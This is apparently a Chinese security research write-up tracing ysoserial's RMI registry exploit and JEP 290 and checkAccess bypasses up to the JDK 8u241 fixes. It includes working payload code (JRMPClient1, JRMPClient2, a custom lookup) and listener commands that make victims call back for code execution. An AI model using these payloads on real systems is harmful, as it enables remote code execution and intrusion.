RMIRegistryExploit
首先ysoserial里的這個payload在jep290以后就不能用了( JDK 7u131 JDK 8u121 以后)
這里只是分析一下RMIRegistryExploit這個exploit的利用原理
在rmi中涉及到一個注冊中心的概念
其中服務端通過Registry registry = LocateRegistry.createRegistry(port);來創建注冊中心
客戶端通過Registry registry = LocateRegistry.getRegistry(host, port);來獲得注冊中心
服務端中的registry實例來自RegistryImpl_Stub類,客戶端中的registry實例來自RegistryImpl,它們都實現Registry接口
Registry這個接口有五個方法,分別是:
bind list lookup rebind unbind
而RMIRegistryExploit這個payload的關鍵代碼如下,它使用的是bind方法
ObjectPayload payloadObj = payloadClass.newInstance();
Object payload = payloadObj.getObject(command);
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
try {
registry.bind(name, remote);
} catch (Throwable e) {
e.printStackTrace();
}
這里第3行引入了動態代理機制,但並沒有用到動態代理的核心功能(觸發invoke方法),反復看了一下之后我認為這里用動態代理的原因是registry.bind的第二個參數必須是Remote類型,而通過gadget生成的對象類型並不是Remote類型,引入AnnotationInvocationHandler以后其可以將payload object作為map存儲在AnnotationInvocationHandler這個Annotation中,並通過動態代理機制指定接口為Remote從而能給最后的代理對象一個Remote引用。總結一下就是為了把gadget生成的不確定什么類型的對象包裝成(偽)Remote類型對象。
而核心代碼registry.bind(name, remote);,跟到RegistryImpl_Stub#bind()
public void bind(String var1, Remote var2) throws AccessException, AlreadyBoundException, RemoteException {
try {
RemoteCall var3 = super.ref.newCall(this, operations, 0, 4905912898345647071L);
try {
ObjectOutput var4 = var3.getOutputStream();
var4.writeObject(var1);
var4.writeObject(var2);
} catch (IOException var5) {
throw new MarshalException("error marshalling arguments", var5);
}
super.ref.invoke(var3);
super.ref.done(var3);
} catch (RuntimeException var6) {
throw var6;
} catch (RemoteException var7) {
throw var7;
} catch (AlreadyBoundException var8) {
throw var8;
} catch (Exception var9) {
throw new UnexpectedException("undeclared checked exception", var9);
}
}
第3行調用UnicastRef#newcall(),向受害服務端發起RMI連接,並在7-8行向緩沖區中寫入序列化數據。
而在13行,調用了UnicastRef#invoke(),跟進去看,調用了StreamRemoteCall#executeCall()

跟到StreamRemoteCall#executeCall()
public void executeCall() throws Exception {
DGCAckHandler var2 = null;
byte var1;
try {
if (this.out != null) {
var2 = this.out.getDGCAckHandler();
}
this.releaseOutputStream();
DataInputStream var3 = new DataInputStream(this.conn.getInputStream());
byte var4 = var3.readByte();
if (var4 != 81) {
if (Transport.transportLog.isLoggable(Log.BRIEF)) {
Transport.transportLog.log(Log.BRIEF, "transport return code invalid: " + var4);
}
throw new UnmarshalException("Transport return code invalid");
}
this.getInputStream();
var1 = this.in.readByte();
this.in.readID();
} catch (UnmarshalException var11) {
throw var11;
} catch (IOException var12) {
throw new UnmarshalException("Error unmarshaling return header", var12);
} finally {
if (var2 != null) {
var2.release();
}
}
switch(var1) {
case 1:
return;
case 2:
Object var14;
try {
var14 = this.in.readObject();
} catch (Exception var10) {
throw new UnmarshalException("Error unmarshaling return", var10);
}
if (!(var14 instanceof Exception)) {
throw new UnmarshalException("Return type not Exception");
} else {
this.exceptionReceivedFromServer((Exception)var14);
}
default:
if (Transport.transportLog.isLoggable(Log.BRIEF)) {
Transport.transportLog.log(Log.BRIEF, "return code invalid: " + var1);
}
throw new UnmarshalException("Return code invalid");
}
}
此處在第10行發送數據到受害服務端,使用CommonsCollection1作為payload調試,在受害服務端中lazyMap#get處下斷點會發現當exploit代碼流程走過第10行時受害服務端命中斷點。
上述代碼第41行存在反序列化操作,是否說明在bind時客戶端(攻擊機)也同樣可能被反序列化攻擊?這里留到JRMP再講,因為要證明能被攻擊需要引入exploit.JRMPListener。
再來看服務端,其實這里的受害服務端嚴格意義上來說應該叫注冊中心,只是注冊中心和RMI服務端必須在同一台機器上,注冊中心就是通俗意義上的服務器上1099端口的服務,而RMI服務端開放在另一個隨機端口。
服務端使用Registry registry = LocateRegistry.createRegistry(1099)創建注冊中心,主線程一路執行到TCPTransport#listen()
listen:336, TCPTransport (sun.rmi.transport.tcp)
exportObject:249, TCPTransport (sun.rmi.transport.tcp)
exportObject:411, TCPEndpoint (sun.rmi.transport.tcp)
exportObject:147, LiveRef (sun.rmi.transport)
exportObject:208, UnicastServerRef (sun.rmi.server)
setup:152, RegistryImpl (sun.rmi.registry)
<init>:137, RegistryImpl (sun.rmi.registry)
createRegistry:203, LocateRegistry (java.rmi.registry)
main:10, Server (rmiLearn)
然后在linsen中開啟新線程1

跟到新線程,其中調用executeAcceptLoop,executeAcceptLoop中再次開啟新線程2

后續繼續跟進發現還會開啟新的線程,最終調用readObject,不再一一截圖。
服務端開啟線程到反序列化點的調用堆棧如下:
readObject:371, ObjectInputStream (java.io) [1]
dispatch:-1, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:410, UnicastServerRef (sun.rmi.server)
dispatch:268, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:568, TCPTransport (sun.rmi.transport.tcp)
run0:826, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$256:683, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 858472232 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$1)
doPrivileged:-1, AccessController (java.security)
run:682, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)
Jep290策略
這里以jdk8為例,在8u121以后,使用RMI攻擊會報錯

其會把對象拆開后逐個帶入到過濾器,也就是RegistryImpl#registryFilter做白名單檢查
registryFilter:408, RegistryImpl (sun.rmi.registry)
checkInput:-1, 280884709 (sun.rmi.registry.RegistryImpl$$Lambda$4)
filterCheck:1239, ObjectInputStream (java.io)
readProxyDesc:1813, ObjectInputStream (java.io)
readClassDesc:1748, ObjectInputStream (java.io)
readOrdinaryObject:2042, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 427692109 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)
看到RegistryImpl.class#registryFilter
private static Status registryFilter(FilterInfo var0) {
if (registryFilter != null) {
Status var1 = registryFilter.checkInput(var0);
if (var1 != Status.UNDECIDED) {
return var1;
}
}
if (var0.depth() > 20L) {
return Status.REJECTED;
} else {
Class var2 = var0.serialClass();
if (var2 != null) {
if (!var2.isArray()) {
return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;
} else {
return var0.arrayLength() >= 0L && var0.arrayLength() > 1000000L ? Status.REJECTED : Status.UNDECIDED;
}
} else {
return Status.UNDECIDED;
}
}
}
第14-15行,如果不是這幾個類或者其子類,就會拋出REJECTED。
白名單里的類雖然很少,但是可以繞過的。繞過的方法就是引入exploit.JRMPListener和payloads.JRMPClient,即我第一次反序列化時不做任何惡意操作,只是向遠程惡意端發起連接,這個過程是可以做到只在白名單里的,這里留到下面exploit.JRMPListener和payloads.JRMPClient部分講。
CheckAccess策略
以jdk8為例,8u141之后checkAccess移到readObject之前

有checkAccess以后不能再遠程bind,即使可以繞過白名單依然會報錯。

exploit.JRMPListener/payloads.JRMPClient
ysoserial里面的跟JRMP有關的分別是exploit.JRMPListener ,exploit. JRMPClient ,payloads.JRMPListener,payloads.JRMPClient
乍看挺迷糊的,在學習與JRMP相關的payload之前最好先學習RMI相關知識
一般來說是exploit.JRMPListener與payloads.JRMPClient搭配使用,exploit. JRMPClient與payloads.JRMPListener搭配使用,但exploit. JRMPClient也可單獨使用。
存在exploit.JRMPListener和exploit. JRMPClient代表既有惡意客戶端又有惡意服務端,知道在通信時兩者都有反序列化操作也就不難理解為何JRMP可以對打。
先來概括一下exploit.JRMPListener和payloads.JRMPClient的使用:
exploit.JRMPListener:使用時搭配任意的gadget(如CommonCollections1)生成第二次反序列化的payload,並會在攻擊機監聽一個指定的端口
payloads.JRMPClient:攜帶指定的攻擊機ip和端口生成受害機第一次反序列化(需要代碼中存在一個反序列化點)時的payload,受害機反序列化該payload時會向指定的攻擊機ip+端口發起RMI通信,在通信階段攻擊機會將第二次反序列化的payload(如CommonCollections1)發送給受害機,此時發生第二次反序列化,執行真正的惡意命令。
payloads.JRMPClient由於也是在payloads里,其實很好理解,前面的CommonsCollections等等payload是在反序列化時會執行惡意命令,而JRMPClient這個payload是在反序列化時向遠端發起RMI通信,然后等CommonsCollections來執行命令。那么先來分析一下JRMPClient這個payload。
代碼如下:
package ysoserial.payloads;
public class JRMPClient extends PayloadRunner implements ObjectPayload<Registry> {
public Registry getObject ( final String command ) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
Registry.class
}, obj);
return proxy;
}
}
反序列化時的執行堆棧:
newCall:338, UnicastRef (sun.rmi.server)
dirty:100, DGCImpl_Stub (sun.rmi.transport)
makeDirtyCall:382, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:324, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:160, DGCClient (sun.rmi.transport)
read:312, LiveRef (sun.rmi.transport)
readExternal:489, UnicastRef (sun.rmi.server)
readObject:455, RemoteObject (java.rmi.server)
起點是RemoteObject中的readObject,而RemoteObjectInvocationHandler就繼承自RemoteObject。按照反序列化時的執行堆棧來看,比較疑惑的點在於為什么用在第22行將obj作為handler生成一個Registry動態代理對象作為最終的序列化對象結果?
試了一下發現去掉22行直接返回第20行的obj也是可以成功利用的,不太明白為何這里要生成Registry動態代理對象,不知道是否只是為了兼容。
上面那個執行堆棧只在於發起通信的階段,后續如何開始第二次反序列化呢
在執行到上面的棧頂后,如果存在服務端並建立通信,會讀取服務端的響應數據,而這個響應數據就是第二次反序列化的payload,此時執行UnicastRef#invoke()->StreamRemoteCall#executeCall()->StreamRemoteCall#executeCall(readObject),在此處的readObject開始真正反序列化執行惡意命令。

而exploit.JRMPListener充當惡意服務器,其要做的幾件事情分別是:
1.根據傳入的gadget參數和要執行的命令生成序列化對象
2.偵聽傳入的port參數對應的端口
3.接受受害機RMI請求后向其發送惡意的序列化對象
這里受害端第二次反序列化時從StreamRemoteCall#executeCall()中的readObject開始,是不是有點眼熟?
前面分析RMIRegistryExploit時,我們就發現攻擊端代碼流程會走到StreamRemoteCall#executeCall(),測試一下
開啟惡意服務器並監聽2333端口:
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 2333 CommonsCollections5 "open /Applications/Calculator.app"
使用RMIRegistryExploit打惡意服務器2333端口,其他隨便填,比如
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 2333 CommonsCollections5 id
發現客戶端被反打,彈出了計算器

這里的報錯可以看出並不是因為bind導致的被反打,而是list,原因是因為ysoserial中RMIRegistryExploit在bind之前先調用了list,而list中也調用了this.ref.invoke,調用棧如下
readObject:371, ObjectInputStream (java.io)
executeCall:245, StreamRemoteCall (sun.rmi.transport)
invoke:379, UnicastRef (sun.rmi.server)
list:-1, RegistryImpl_Stub (sun.rmi.registry)
main:59, RMIRegistryExploit (ysoserial.exploit)
梳理一下:
- RMIRegistryExploit是客戶端發起RMI通信並發送惡意payload到正常注冊中心(服務端),注冊中心反序列化並執行惡意命令。
- 受害機第一次反序列化payloads.JRMPClient后向exploit.JRMPListener(相當於惡意注冊中心)發起正常RMI通信,exploit.JRMPListener(惡意注冊中心)發送惡意payload到客戶端(受害機),客戶端(受害機)第二次反序列化,執行真正的惡意命令。
- RMI可以被反打,因為JRMP可以對打。
Jep290策略繞過
前面雖然說過引入exploit.JRMPListener和payloads.JRMPClient就可以繞過jep290
但我們不能直接指定JRMPClient這個payload來做RMIRegistryExploit的payload,因為AnnotationInvocationHandler是會使服務端拋出REJECTED的,但是還記得我們前面說過,AnnotationInvocationHandler這個類在RMIRegistryExploit中的使用只是為了把對象包裝成Remote接口,而分析了JRMPClient這個payload發現它的反序列化過程本來就是從RemoteObject#readObject開始的。
那么新建一個JRMPClient1
package ysoserial.payloads;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
public class JRMPClient1 extends PayloadRunner implements ObjectPayload<Remote> {
public Remote getObject ( final String command ) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
Remote obj = new RemoteObjectInvocationHandler(ref);
return obj;
}
public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader());
PayloadRunner.run(JRMPClient.class, args);
}
}
再新建一個RMIRegistryExploit1(當然也可以不這么寫,直接把JRMPClient1的核心代碼移植到RMIRegistryExploit1也可)
package ysoserial.exploit;
import java.io.IOException;
import java.net.Socket;
import java.rmi.ConnectIOException;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.RMIClientSocketFactory;
import java.security.cert.X509Certificate;
import java.util.concurrent.Callable;
import javax.net.ssl.*;
import ysoserial.payloads.CommonsCollections1;
import ysoserial.payloads.JRMPClient1;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.util.Gadgets;
import ysoserial.secmgr.ExecCheckingSecurityManager;
private static class RMISSLClientSocketFactory implements RMIClientSocketFactory {
public Socket createSocket(String host, int port) throws IOException {
try {
SSLContext ctx = SSLContext.getInstance("TLS");
ctx.init(null, new TrustManager[] {new TrustAllSSL()}, null);
SSLSocketFactory factory = ctx.getSocketFactory();
return factory.createSocket(host, port);
} catch(Exception e) {
throw new IOException(e);
}
}
}
public static void main(final String[] args) throws Exception {
final String host = args[0];
final int port = Integer.parseInt(args[1]);
final String command = args[2];
Registry registry = LocateRegistry.getRegistry(host, port);
try {
registry.list();
} catch(ConnectIOException ex) {
registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory());
}
// ensure payload doesn't detonate during construction or deserialization
exploit(registry, command);
}
public static void exploit(final Registry registry,
final String command) throws Exception {
new ExecCheckingSecurityManager().callWrapped(new Callable<Void>(){public Void call() throws Exception {
String name = "pwned" + System.nanoTime();
JRMPClient1 jrmpclient = new JRMPClient1();
Remote remote = jrmpclient.getObject(command);
try {
registry.bind(name, remote);
} catch (Throwable e) {
e.printStackTrace();
}
return null;
}});
}
}
如果使用jdk8u141以下或者任意版本jdk同ip客戶端打注冊中心打就會發現可以成功攻擊。
但checkAccess策略還沒有繞過,這樣如果jdk8u141以上版本只能本機客戶端打注冊中心,那就很雞肋了。接下來的問題變成了如何繞過checkAccess策略。
8u231前的checkAccess繞過
利用lookup+JRMP(jrmp是為了繞過jep290,此為8u121之后必須條件)
前面說過在注冊中心時反序列化的點在RegistryImpl_Skel#dispatch中,而這里的var3代表客戶端發起連接的方法

其中對應的關系為:
- 0->bind
- 1->list
- 2->lookup
- 3->rebind
- 4->unbind
在bind,rebind,unbind和lookup中都有反序列化操作,但只有lookup中沒有調用checkAccess(很好理解,lookup本來功能就是遠程接口調用,自然不可能checkAccess)
但lookup中的反序列化操作是String的,是不是就意味着我們傳Object類型過來反序列化不行呢?

事實上這里是不影響的,唯一的問題就是RegistryImpl_Stub#lookup這個方法只接受一個String參數,我們在客戶端使用它來傳遞惡意的對象是不行的,怎么解決呢?參考ysomap中的實現,可以在ysoserial中自己實現一個lookup方法,使它接受Remote對象作為參數。
package ysoserial.exploit.evil;
import ysoserial.payloads.util.Reflections;
import java.rmi.NotBoundException;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteRef;
public class Naming {
/**
* Disallow anyone from creating one of these
*/
private Naming() {}
public static Remote lookup(Registry registry, Object obj)
throws Exception {
RemoteRef ref = (RemoteRef) Reflections.getFieldValue(registry, "ref");
long interfaceHash = Long.valueOf(String.valueOf(Reflections.getFieldValue(registry, "interfaceHash")));
java.rmi.server.Operation[] operations = (Operation[]) Reflections.getFieldValue(registry, "operations");
java.rmi.server.RemoteCall call = ref.newCall((java.rmi.server.RemoteObject) registry, operations, 2, interfaceHash);
try {
try {
java.io.ObjectOutput out = call.getOutputStream();
//反射修改enableReplace
Reflections.setFieldValue(out, "enableReplace", false);
out.writeObject(obj); // arm obj
} catch (java.io.IOException e) {
throw new java.rmi.MarshalException("error marshalling arguments", e);
}
ref.invoke(call);
return null;
} catch (RuntimeException | RemoteException | NotBoundException e) {
if(e instanceof RemoteException| e instanceof ClassCastException){
return null;
}else{
throw e;
}
} catch (java.lang.Exception e) {
throw new java.rmi.UnexpectedException("undeclared checked exception", e);
} finally {
ref.done(call);
}
}
}
然后修改之前的RMIRegistryExploit1,修改如下:
import ysoserial.exploit.evil.Naming;
//其他部分不做改變,省略
public static void exploit(final Registry registry,
final String command) throws Exception {
new ExecCheckingSecurityManager().callWrapped(new Callable<Void>(){public Void call() throws Exception {
JRMPClient1 jrmpclient = new JRMPClient1();
Remote remote = jrmpclient.getObject(command);
try {
Naming.lookup(registry,remote);
} catch (Throwable e) {
e.printStackTrace();
}
return null;
}});
}
//其他部分不做改變,省略
使用192.168.245.142攻擊192.168.245.1(jdk版本8u201),成功彈出計算器

8u231的修復
jdk8u21在RegistryImpl_Skel#dispatch中每個case中增加了ClassCastException,執行到反序列化時會因為反序列化返回的對象類型不是String而報錯,從而調用StreamRemoteCall#discardPendingRefs。

而這個方法會調用discardRefs()然后清除incomingRefTable屬性的值
public void discardPendingRefs() {
this.in.discardRefs();
}
void discardRefs() {
this.incomingRefTable.clear();
}

也就阻斷了我們從jrmp到惡意服務端的請求過程。
為什么這里可以阻斷jrmp請求?這個消除ref的方法不是在readObject之后嗎?
這里有一個誤區會讓人以為發起JRMP請求這個操作是在readObject的調用鏈中完成的,然而其實readObject中的調用鏈中只是填充ref
而真正發起連接的是var2.releaseInputStream() //此處截圖環境為jdk8u201

這是readObject的執行流程

這是releaseInputStream的執行堆棧,可以看出這里才是真正發起JRMP請求的地方
newCall:336, UnicastRef (sun.rmi.server)
dirty:100, DGCImpl_Stub (sun.rmi.transport)
makeDirtyCall:382, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:324, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:160, DGCClient (sun.rmi.transport)
registerRefs:102, ConnectionInputStream (sun.rmi.transport)
releaseInputStream:157, StreamRemoteCall (sun.rmi.transport)
dispatch:113, RegistryImpl_Skel (sun.rmi.registry)
除此之外還有第二處修復,前面講了JRMPClient攻擊是在DGCImpl_Stub#dirty中發起JRMP請求,然后調用ref.invoke里面存在readObject執行第二次反序列化,而第二次反序列化的payload就是我們的cc鏈
8u231中在dirty之后ref.invoke之前增加了一個過濾器

這個過濾器和RegistryImpl#registryFilter過濾器一樣,也是對反序列化的對象逐層判斷是否在白名單中,而我們cc鏈顯然不在,因此即使沒有前面消除ref的操作,第二次反序列化也是不能成功執行惡意命令的
private static Status leaseFilter(FilterInfo var0) {
if (var0.depth() > (long)DGCCLIENT_MAX_DEPTH) {
return Status.REJECTED;
} else {
Class var1 = var0.serialClass();
if (var1 == null) {
return Status.UNDECIDED;
} else {
while(var1.isArray()) {
if (var0.arrayLength() >= 0L && var0.arrayLength() > (long)DGCCLIENT_MAX_ARRAY_SIZE) {
return Status.REJECTED;
}
var1 = var1.getComponentType();
}
if (var1.isPrimitive()) {
return Status.ALLOWED;
} else {
return var1 != UID.class && var1 != VMID.class && var1 != Lease.class && (var1.getPackage() == null || !Throwable.class.isAssignableFrom(var1) || !"java.lang".equals(var1.getPackage().getName()) && !"java.rmi".equals(var1.getPackage().getName())) && var1 != StackTraceElement.class && var1 != ArrayList.class && var1 != Object.class && !var1.getName().equals("java.util.Collections$UnmodifiableList") && !var1.getName().equals("java.util.Collections$UnmodifiableCollection") && !var1.getName().equals("java.util.Collections$UnmodifiableRandomAccessList") && !var1.getName().equals("java.util.Collections$EmptyList") ? Status.REJECTED : Status.ALLOWED;
}
}
}
}
}
8u241前的繞過
上面的修復已經看起來很完善了,但怎么居然還有繞過?再來梳理一下8u231的修復
1.添加ClassCastException,使得流程在第一次執行readObject后消除我們填充的ref
2.在開啟JRMP請求之后,執行第二次反序列化(UnicastRef#invoke()->StreamRemoteCall#executeCall()->StreamRemoteCall#executeCall(readObject)之前增加一個leaseFilter過濾器
如果我們能做到在滿足條件的類的readObject代碼中找到可以發起JRMP請求的地方,並且可以不經過DGCImpl_Stub#dirty方法直接觸發
UnicastRef#invoke()不就可以繞過了嗎?當然這個類還是需要滿足第一次反序列化的過濾器中的白名單。
找到的類就是UnicastRemoteObject
An Trinhs在Blackhat Europe 2019中分享了這個利用方式 An Trinhs RMI Registry Bypass
直接上JRMPClient2的代碼,修改RMIRegistryExploit1代碼,改為new JRMPClient2
public class JRMPClient2 extends PayloadRunner implements ObjectPayload<Remote> {
public Remote getObject ( final String command ) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler((RemoteRef) ref);
RMIServerSocketFactory serverSocketFactory = (RMIServerSocketFactory) Proxy.newProxyInstance(
RMIServerSocketFactory.class.getClassLoader(),// classloader
new Class[] { RMIServerSocketFactory.class, Remote.class}, // interfaces to implements
handler// RemoteObjectInvocationHandler
);
// UnicastRemoteObject constructor is protected. It needs to use reflections to new a object
Constructor<?> constructor = UnicastRemoteObject.class.getDeclaredConstructor(null); // 獲取默認的
constructor.setAccessible(true);
UnicastRemoteObject remoteObject = (UnicastRemoteObject) constructor.newInstance(null);
Reflections.setFieldValue(remoteObject, "ssf", serverSocketFactory);
return remoteObject;
}
看一下從第一次反序列化到第二次反序列時的執行堆棧
readObject:431, ObjectInputStream (java.io)
executeCall:270, StreamRemoteCall (sun.rmi.transport)
invoke:161, UnicastRef (sun.rmi.server)
invokeRemoteMethod:227, RemoteObjectInvocationHandler (java.rmi.server)
invoke:179, RemoteObjectInvocationHandler (java.rmi.server)
createServerSocket:-1, $Proxy1 (com.sun.proxy)
newServerSocket:666, TCPEndpoint (sun.rmi.transport.tcp)
listen:335, TCPTransport (sun.rmi.transport.tcp)
exportObject:254, TCPTransport (sun.rmi.transport.tcp)
exportObject:411, TCPEndpoint (sun.rmi.transport.tcp)
exportObject:147, LiveRef (sun.rmi.transport)
exportObject:237, UnicastServerRef (sun.rmi.server)
exportObject:383, UnicastRemoteObject (java.rmi.server)
exportObject:346, UnicastRemoteObject (java.rmi.server)
reexport:268, UnicastRemoteObject (java.rmi.server)
readObject:235, UnicastRemoteObject (java.rmi.server)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:122, RegistryImpl_Skel (sun.rmi.registry)
看調用棧第6-7行,這次用到了動態代理的特性,當調用代理對象var1代理的對象所屬接口的方法createServerSocket時,會觸發RemoteObjectInvocationHandler的invoke方法

跟到invoke方法,其調用了invokeRemoteMethod方法,在invokeRemoteMethod方法中調用了ref.invoke,而此時的ref就是UnicastRef。

這里調用的invoke方法和前面DGCImpl_Stub#dirty的調用的invoke方法不是同一個invoke方法
這里調用的UnicastRef#invoke是invoke(Remote var1, Method var2, Object[] var3, long var4)
而DGCImpl_Stub#dirty的調用的UnicastRef#invoke是invoke(RemoteCall var1)
差別是invoke(RemoteCall var1)中只有excuteCall的調用,不能發起JRMP請求
public void invoke(RemoteCall var1) throws Exception {
try {
clientRefLog.log(Log.VERBOSE, "execute call");
var1.executeCall();
} catch (RemoteException var3) {
clientRefLog.log(Log.BRIEF, "exception: ", var3);
this.free(var1, false);
throw var3;
} catch (Error var4) {
clientRefLog.log(Log.BRIEF, "error: ", var4);
this.free(var1, false);
throw var4;
} catch (RuntimeException var5) {
clientRefLog.log(Log.BRIEF, "exception: ", var5);
this.free(var1, false);
throw var5;
} catch (Exception var6) {
clientRefLog.log(Log.BRIEF, "exception: ", var6);
this.free(var1, true);
throw var6;
}
}
而invoke(Remote var1, Method var2, Object[] var3, long var4)方法等於結合了UnicastRef#newCall和UnicastRef#invoke(RemoteCall var1),同時完成了發起JRMP請求和調用excuteCall進行第二次反序列化的步驟,由於這兩個步驟都是在第一次反序列過程中並且沒有對DGCImpl_Stub#dirty的調用,因此完美繞過了8u231的修復。
8u241修復
-
將(String)var9.readobject()改成了SharedSecrets.getJavaObjectInputStreamReadString().readString(var9),后者不接受反序列化Object。
-
在RemoteObjectInvocationHandler#invokeRemoteMethod中添加驗證,method參數必須是一個remote接口,而8u231的繞過中的method是createServerSocket。

